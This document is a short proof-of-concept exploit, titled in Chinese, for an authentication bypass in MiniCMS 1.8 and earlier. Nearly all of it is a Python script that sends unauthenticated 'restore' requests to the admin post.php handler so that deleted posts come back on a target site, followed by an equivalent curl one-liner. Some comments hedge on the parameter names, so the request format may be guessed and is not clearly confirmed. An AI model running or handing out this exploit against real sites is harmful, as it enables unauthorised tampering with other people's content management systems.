CVE-2025-15457 MiniCMS Trash File Restore 认证绕过漏洞

# CVE-2025-15457 MiniCMS Authentication Bypass PoC # Target: MiniCMS <= 1.8 # Component: /minicms/mc-admin/post.php Trash File Restore Handler import requests import sys def exploit_minicms_auth_bypass(target_url, post_id): """ Exploit for MiniCMS Trash File Restore Authentication Bypass This vulnerability allows unauthenticated users to restore deleted posts from the trash without proper authentication. """ # Target endpoint for trash file restore restore_url = f"{target_url}/minicms/mc-admin/post.php" # Construct the restore request # The vulnerable parameter typically includes action and post ID params = { 'action': 'restore', # Restore action 'id': post_id # Post ID to restore } print(f"[*] Target: {target_url}") print(f"[*] Attempting to restore post ID: {post_id}") try: # Send request without authentication response = requests.get(restore_url, params=params, timeout=10) if response.status_code == 200: if 'success' in response.text.lower() or 'restored' in response.text.lower(): print("[+] Post restored successfully - Authentication bypassed!") return True else: print("[-] Request sent but post may not have been restored") print(f"[-] Response: {response.text[:200]}") return False else: print(f"[-] HTTP Error: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False # Example usage if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <post_id>") print(f"Example: python {sys.argv[0]} http://vulnerable-site.com 1") sys.exit(1) target = sys.argv[1] post_id = sys.argv[2] exploit_minicms_auth_bypass(target, post_id) # Alternative curl command for manual testing: # curl -i "http://target/minicms/mc-admin/post.php?action=restore&id=1"